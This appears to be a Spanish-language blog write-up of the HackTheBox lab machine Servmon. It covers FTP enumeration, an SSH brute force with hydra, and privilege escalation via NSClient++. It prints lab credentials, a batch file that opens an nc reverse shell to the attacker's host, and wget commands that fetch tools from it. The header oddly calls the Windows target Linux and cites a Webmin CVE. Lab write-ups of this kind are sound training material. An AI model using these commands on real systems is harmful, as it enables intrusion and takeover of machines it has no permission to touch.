Post

HackTheBox - Servmon

Máquina Linux de nivel Easy de HackTheBox.

Técnicas usadas: Information Leakage, RCE Webmin (CVE-2019-12840)

Fase de Reconocimiento 🧣

a. Enumeramos los puertos que están abiertos.

  • nmap -p- -sS -Pn -n <IP> -oG puertos

b. Vemos las versiones de los servicios que se están ejecutando en los puertos.

  • nmap -p21,80 -sCV <IP> -oN versiones

  • Puntos principales:

    • Podemos acceder de forma anónima al servicio FTP.
    • [x] Tenemos dos sitios web: **HTTP - 80HTTPS - 8443**
    • El servicio SSH se encuentra habilitado

Inspeccionamos el servicio FTP en buscar de cualquier información y la descargamos

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
❯  ftp 10.10.10.184
Name (10.10.10.184:kali): anonymous
ftp> dir
02-28-22  07:35PM       <DIR>          Users
ftp> cd Users
ftp> dir
02-28-22  07:36PM       <DIR>          Nadine
02-28-22  07:37PM       <DIR>          Nathan
ftp> cd Nadine
02-28-22  07:36PM                  168 Confidential.txt
ftp> get Confidential.txt
ftp> exitcat Confidential.txt

Nathan,
I left your Passwords.txt file on your Desktop.  Please remove this once you have edited it yourself and place it back into the secure folder.
Regards
Nadine

Aquí nos mencionan que existe un archivo passwords.txt en el escritorio del usuario nathan.

c. Al buscar por vulnerabilidades del servicio HTTP llegamos a un LFI

Una vez obtenemos el fichero antes mencionado, hacemos fuerza bruta en el servicio SSH con hydra a los dos usuarios (nathan y nadine)

1
2
3
❯ hydra -L users.txt -P passwords.txt ssh://10.10.10.184 -t 4

[22][ssh] host: 10.10.10.184   login: nadine   password: L1k3B1gBut7s@W0rk

Escalada de Privilegios 💹

a. Al enumerar el sistema, encontramos el directorio ‘C:\Program Files\NSClient++’ y si buscamos vulnerabilidades asociadas, encontramos una para escalación de privilegios

Aquí usan el servicio https del puerto 8443, y para llevar acabo este exploit debemos tener en cuenta múltiples puntos

  1. Obtenemos la contraseña actual

    1
    2
    
     nadine@SERVMON C:\Program Files\NSClient++>.\nscp web -- password --display
     Current password: ew2x6SsGTxjRwXOT
    
  2. De primeras nos seremos capaces de acceder al servicio NSClient++

    Para solucionar esto debemos realizar Local Port Forwarding: sshpass -p 'L1k3B1gBut7s@W0rk' ssh nadine@<IP Servmon> -L 8443:127.0.0.1:8443

  3. Ahora, debemos descargarnos nc y creamos un fichero .bat para entablar una reverse shell

    1
    2
    
     @echo off
     C:\temp\nc.exe -e cmd <tun0 IP> 443
    
    • Transferimos estos ficheros al directorio C:\temp

        ❯ python -m http.server 80
        -----------------------------------------------------------------
        nadine@SERVMON C:\>mkdir temp
        nadine@SERVMON C:\temp>powershell
        PS C:\temp> wget http://<tun0 IP>/nc.exe -OutFile "./nc.exe"
        PS C:\temp> wget http://<tun0 IP>/test.bat -OutFile "./test.bat"
      
  4. Nos autenticamos en el servicio NSClient++ y lo configuramos para ejecutar el script test.bat

    • Nos ponemos en escucha con nc, reiniciamos NSClient++ y luego damos clic en el apartado Queries

En caso de no recibir la reverse shell reiniciamos la Máquina Servmon

Después de todo este proceso recibimos la reverse shell

1
2
3
4
5
6
7
❯ nc -lvnp 443                                                                                            
connect to [10.10.14.18] from (UNKNOWN) [10.10.10.184] 50986
Microsoft Windows [Version 10.0.17763.864]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Program Files\NSClient++>whoami
nt authority\system
This post is licensed under CC BY 4.0 by the author.